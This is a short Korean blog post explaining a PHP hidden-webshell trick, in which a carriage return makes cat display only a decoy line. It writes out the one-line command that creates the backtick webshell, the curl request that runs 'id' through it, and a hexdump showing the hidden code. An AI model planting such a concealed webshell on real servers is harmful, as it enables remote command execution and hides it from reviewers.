오늘 아침에 취약점 몇개 분석하고 보다가 트위터에서 재미있는걸 발견했습니다.
PHP Hidden webshell 이란 내용으로 올라온 글인데, 간단한 트릭이지만 저렇게 될거란 생각 조차 안하고 있었네요.. (내가 한심..)
(역시 브루트로직 https://twitter.com/brutelogic/status/1087723868532469763)

carriage return(\r) 을 이용해서 echo로 아래와 같이 test.php를 만들어주면..

$ echo -e "<?=\`\$_POST[1]\`?>\r<?='blank file';?>" > test.php

cat으로 볼땐 blank file만 보이지만,

$ cat test.php
<?='blank file';?>

실제로 웹 요청 시 POSt 구문이 처리되어 backtick 으로 인해 명령이 실행되는걸 볼 수 있습니다.

$ curl http://192.168.0.11/test.php -d 1=id
uid=1490(-----) gid=100(users) groups=100(users),99(nobody)


왜 이렇게 되는걸까?

대학생 때 진행해보 첫 프로젝트가 C언어로 게임 만들기였습니다. cmd 내에서 하는 rpg 게임이였는데... 화면 렌더링을 우해 \r 문자를 썼었던 기억이 있습니다. (글쓰다가 급 생각나서)

\r 은 해당 라인의 맨앞을 의미하는 문자입니다. 이게 OS별로 좀 다르게 쓰이긴하지만, Unix 기반 + C 언어 내부 등등 여러곳에서 맨앞을 의미하도록 사용됩니다.

참고: https://ko.wikipedia.org/wiki/캐리지_리턴

고로 위에서의 echo 구문은 POST 구문을 찍고, 다시 맨앞으로 가서 blank file 구문을 찍도록 합니다. 실제 값은 둘 다 있지만 command line에서 cat으로 찍어볼 땐 \r이 먹어서 마치 blank file 만 있는 것처럼 보이게 됩니다.

실제로 hexdump 떠보면..

$ hexdump -C test.php
00000000  3c 3f 3d 60 24 5f 50 4f  53 54 5b 31 5d 60 3f 3e  |<?=`$_POST[1]`?>|
00000010  0d 3c 3f 3d 27 62 6c 61  6e 6b 20 66 69 6c 65 27  |.<?='blank file'|
00000020  3b 3f 3e 0a                                       |;?>.|
00000024

둘 다 있는걸 알 수 있습니다.

어디에 또 쓰일 수 있을까?

솔직히 저걸로 장비는 속일 수 없습니다. (원문 자체가 바뀌는게 아니라서..) 단 사람 눈을 속일 수 있어서 일단 SE나 개발자가 육안으로 발견할 가능성이 좀 줄어들거고,
subprocess로 cat 같이 \r 을 처리하는 명령으로 데이터를 읽어서 처리하는 보안 툴(?)이 있다면 영향있을 것 같네요.

그냥 간단한 트릭이니 가볍게 넘어갑시다!
(정리중인 글은 많은데, 언제 다 올리지...허허헣)

댓글 없음:

댓글 쓰기